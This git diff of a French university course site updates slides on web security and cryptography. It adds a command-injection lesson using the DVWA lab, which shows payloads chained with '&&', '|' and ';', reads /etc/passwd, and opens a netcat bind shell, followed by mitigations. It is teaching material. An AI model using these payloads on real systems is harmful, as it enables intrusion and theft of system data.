diff --git a/content/Etudiants/zz2-f5-privacy-crypto.md b/content/Etudiants/zz2-f5-privacy-crypto.md index 43221fce70700094331ef7eb55f7b253a33b1774..0fa972903e5883a4e1978fe8be25292c55bffc67 100644 --- a/content/Etudiants/zz2-f5-privacy-crypto.md +++ b/content/Etudiants/zz2-f5-privacy-crypto.md @@ -13,16 +13,21 @@ Tags: cours * [mots de passes](slides/privacy/passwords.html) * [tracking](slides/privacy/tracking.html) * [souveraineté](slides/privacy/sovereignty.html) - * [tails](slides/privacy/tails.html) + + <!-- * [tails](slides/privacy/tails.html) --> ### Crypto * [principes cryptographiques](slides/privacy/crypto.html) * [tls](slides/privacy/tls.html) + * [Heartbleed](slides/1337/heartbleed.html) + +<!-- * [pgp](slides/privacy/pgp.html) * [tls vs pgp](slides/privacy/TLSvsPGP.html) * [tor](slides/privacy/tor.html) / [tor pour les moldus](slides/privacy/tor_lite.html) * [bitcoin](slides/privacy/bitcoin.html) +--> <div class="panel panel-success"> <div class="panel-heading"> diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index 8f35991424a35f455d942d5b8b7d6f64eb178877..759a3904686d7d453151750fa09dc3732b5c6e51 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -9,24 +9,25 @@ Tags: cours * Architecture - * [HTTP](slides/1337/http.htm) + * [HTTP](slides/1337/http.html) * Pentesting - * [Collecter](https://doc.m4z3.me/_/1337/collecter.htm) - * [Détecter](https://doc.m4z3.me/_/1337/detecter.htm) + * [Collecter](slides/1337/collecting.html) -* Exploit + * [Détecter](slides/1337/detecting.html) + +<!-- * Exploit - * [Heartbleed](https://doc.m4z3.me/_/1337/heartbleed.htm) + * [Heartbleed](slides/1337/heartbleed.html) --> * Mécanisme - * [Authentification](https://doc.m4z3.me/_/1337/AUTH.htm) + * [Authentification](slides/1337/authentication.html) * Vulnérabilités communes - * [Command execution](https://doc.m4z3.me/_/1337/CMDi.htm) + * [Command execution](slides/1337/cmdi.html) * Exploit diff --git a/content/slides/1337/cmdi.html b/content/slides/1337/cmdi.html new file mode 100644 index 0000000000000000000000000000000000000000..84b376eb260777fdbfc0ca6cd048186330453690 --- /dev/null +++ b/content/slides/1337/cmdi.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>CMDi</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/cmdi.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/images/authentication/Shibboleth.png b/content/slides/1337/images/authentication/Shibboleth.png new file mode 100644 index 0000000000000000000000000000000000000000..9911a9b8309321dcaece4d4326abf88ab62774ac Binary files /dev/null and b/content/slides/1337/images/authentication/Shibboleth.png differ diff --git a/content/slides/1337/images/authentication/google-authenticator.png b/content/slides/1337/images/authentication/google-authenticator.png new file mode 100644 index 0000000000000000000000000000000000000000..370701e036963b8fd0daa2c190cc8259dca06ee1 Binary files /dev/null and b/content/slides/1337/images/authentication/google-authenticator.png differ diff --git a/content/slides/1337/md/authentication.md b/content/slides/1337/md/authentication.md index cf377a489f2725cc698d0e949878eef412a2e4cf..0b7650b870695e0e0ced490975e9fe1d5aadb7e2 100644 --- a/content/slides/1337/md/authentication.md +++ b/content/slides/1337/md/authentication.md @@ -23,6 +23,7 @@ # quelques techniques +## du world wide web ## apache & .htaccess @@ -273,7 +274,7 @@ Note: ## force brute * par dictionnaires - * liste d'utilisateurs + list de mots de passe + * liste d'utilisateurs + liste de mots de passe * optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ... * par recherche * combinatoire @@ -351,12 +352,21 @@ unshadow /etc/passwd /etc/shadow > mypasswd ## 2AF + + https://www.google.com/landing/2step/ ## Yubikey -[](https://www.yubico.com/) +[](https://www.yubico.com/) + + +## SSO + + + + "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content" ## <i class="fa fa-medkit"></i> Se protéger diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md new file mode 100644 index 0000000000000000000000000000000000000000..99787aa91ab966094c2a0ba032a2399cfb7ca1c4 --- /dev/null +++ b/content/slides/1337/md/cmdi.md @@ -0,0 +1,148 @@ +## Command execution + +### [security low](http://dv.wa/vulnerabilities/exec/) + +* exécutrion de commandes arbitraires sur le serveur +* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection) +* triviale mais assez rare + + +## Command execution + +* paramètre non filtré + * la commande est écrite en dur + * **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions + * exécutée avec les droits du serveur (thread) + +```shell +localhost && ls +localhost; whoami +localhost| id +``` + +* le réseau est également explorable + +Note: +- dvwa à brutforcer + - non y a le cookie qui coince :/ + - admin:password + - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/ +- ce cas est faille assez rare +- il faut injecter des commandes que le server connait + - win/unix/linux/bsd/solarix/aix + - pool de commandes par défaut +- l'enchainement d'exlpoits est laisser à l'imagination du pentester + - plus il est expérimenté plus il peut créer des attques complexes + - plus il peut aller loin dans l'exploitation +- Regarder le code + - Que peut on faire pour améliorer + - DVWA Security -> medium + + +## Command execution + +### [security medium](http://dv.wa/vulnerabilities/exec/) + +* les chaînes de caractères "&&" et ";" sont interdites + +```shell +# Pour y voir plus clair +1 | ls +# Plus intéressant +1 | pwd & whoami & ps +1 | uname -a & users & id & w +1 | cat /etc/group +1 | cat /etc/passwd +``` + +Note: +- approche liste noire toujours perdante + - liste de caractère à échapper +- résultat visible + - affiché dans la page + - méga rare +- aveugle + - certaines pas faciles à détecter + - adduser / mkdir lors de la création de compte + - un username se terminant par + - ;cmd + - ping réseau + - on sait si ca a marcher avec le temps d'exécution du ping + - si ca rame au chargement de la page + - c'est que le ping est en train de s'exécuter à l'infini + - sinon sniffer le ping de retour + - si pas bloqué + - ping -c3 127.0.0.1 pour mémoire + - résolution dns d'un domaine maitrisé connu de nous seul +- Regarder le code + - Que peut on faire pour amliorer + - DVWA Security -> high + + +## Command execution + +### [security high](http://dv.wa/vulnerabilities/exec/) + +* l'approche est ici différente + * on ne cherche plus à éliminer les caractères dangereux + * on cherche à valider que l'entrée est bien une IP + +```shell +$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string); +``` + +Note: +-détailler l'expression régulière + + +## bind shell + +* injecter + +```shell +1 | netcat -v -e '/bin/bash' -l -p 1337 +``` + +* puis sur le terminal de l'attaquant + +```shell +netcat -v dv.wa 1337 +``` + +* \o/ nous disposons d'un accès à la machine i + +* avec les permissions de l'utilisateur www-data + +Note: +- revenir en medium ou low security + - on peut le faire avec cookie manager + +- netcat couteau suisse réseau + - permet d'écrire sur un port +- soumis a pas mal de condition en vérité + - marche que dans un sens + - DMZ coupe tout le sortant + - reste possible dans ce sens + - mais faut passer d'eventuels friewalls + - et netcat peu avoir été supprimé + + +## <i class="fa fa-medkit"></i> Se préserver + +* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php) +* utiliser shell_escape_args() en php +* utliser JSON.parse plutot qu'un eval() de JSON +* utiliser des lib spéacilisées + * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem) + * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder) + +Note: +- faire marcher le bon sens +- Note le cron de drupal est pourri parce qu'appelable via des url + - utiliser le cron system + + +## <i class="fa fa-medkit"></i> Se préserver + +* liste blanche +* cron pour les traitements récurrents +* ne pas installer `ǹetccat` diff --git a/content/slides/1337/md/http.md b/content/slides/1337/md/http.md index bdef56c3b3aa86823a96b2c0caf91efea676d8d4..666d426002fc07c1a3acc35d2485ddb94b6ef7fd 100644 --- a/content/slides/1337/md/http.md +++ b/content/slides/1337/md/http.md @@ -20,8 +20,8 @@ # HTTP * inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989 -* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999 -* version 2.0 en cours de standardisation +* [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999 +* [version 2.0](https://tools.ietf.org/html/rfc7540) * basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google Note: @@ -64,6 +64,8 @@ Cache-Control: max-age=0 useless data </code></pre> +Connaissez vous Burp Suite? + Note: - Connection: keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça) - Accept-Encoding: gzip, deflate commpressions supportées par le navigateur @@ -289,10 +291,11 @@ Note: Access-Control-Allow-Origin: http://www.foo.com </code></pre> +* <span style="color:red">* </span> dans le cas d'une ressource 100% publique + ## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing) -* <span style="color:red">* </span> dans le cas d'une ressource 100% publique * autorise tous les verbes HTTP * remplace [JSONP](https://en.wikipedia.org/wiki/JSONP) * qui n'autorisait que la méthode GET diff --git a/content/slides/index.html b/content/slides/index.html index fd58101462a0909c8b602163c974cd0f8c189d55..0bd7877919823f08ab3e905a0948191dadbee6b9 100644 --- a/content/slides/index.html +++ b/content/slides/index.html @@ -32,7 +32,7 @@ Pentesting <ul> <li><a href="1337/gathering.html">Collecter</a></li> - <li><a href="1337/detect.html">Détecter</a></li> + <li><a href="1337/detecting.html">Détecter</a></li> <li> Exploit <ul> diff --git a/content/slides/privacy/md/TLSvsPGP.md b/content/slides/privacy/md/TLSvsPGP.md index 5a77525e421055495dbf1e342336f90fa6cb1df2..8e4ecaa149bc932854f5616360ac6039923724a8 100644 --- a/content/slides/privacy/md/TLSvsPGP.md +++ b/content/slides/privacy/md/TLSvsPGP.md @@ -1,15 +1,20 @@ -### X.509 +## X.509 * Certificat créé par la CA * 1 seule signature : celle de la CA * Chiffre le tuyau (TLS/SSL) * Confiance centralisée * Confiance distribuée * Forêt d’arbres de confiance -### PGP + + +## PGP * Certificat créé par l’utilisateur * Plusieurs signatures * Chiffre les messages * Graph orienté de confiance -X.509 centralise la confiance sur les CA -PGP distribue la confiance entre utilisateurs + +## X.509 centralise la confiance sur les CA + + +## PGP distribue la confiance entre utilisateurs diff --git a/content/slides/privacy/md/crypto.md b/content/slides/privacy/md/crypto.md index 9361dfb654368f0b392830d70ee343450bd4c538..f15109195c118c6fb73493345efa3a620be59983 100644 --- a/content/slides/privacy/md/crypto.md +++ b/content/slides/privacy/md/crypto.md @@ -259,7 +259,7 @@ note: ## Signature en pratique * Bob a pu vérifier - * la clé à l'origine du message **autentification de l'origine** + * la clé à l'origine du message: **autentification de l'origine** * l'**intégrité** du message **autentification de l'origine** + **intégrité** diff --git a/content/slides/privacy/md/tls.md b/content/slides/privacy/md/tls.md index 31602782e028b2600db252a038f31b15225aef3b..ecd999c2e7926dab78bb649afdf9fa86ea36f662 100644 --- a/content/slides/privacy/md/tls.md +++ b/content/slides/privacy/md/tls.md @@ -65,7 +65,7 @@ * **Serial** * Algorithme de signature du certificat * **Issuer** le signataire (***DN*** de la ***CA***) -* **Validty** début fin de validité +* **Validity** début fin de validité * **Subject name** **DN** identifié par le certificat * **Subject Public Key** * Extensions (ajouté en v3)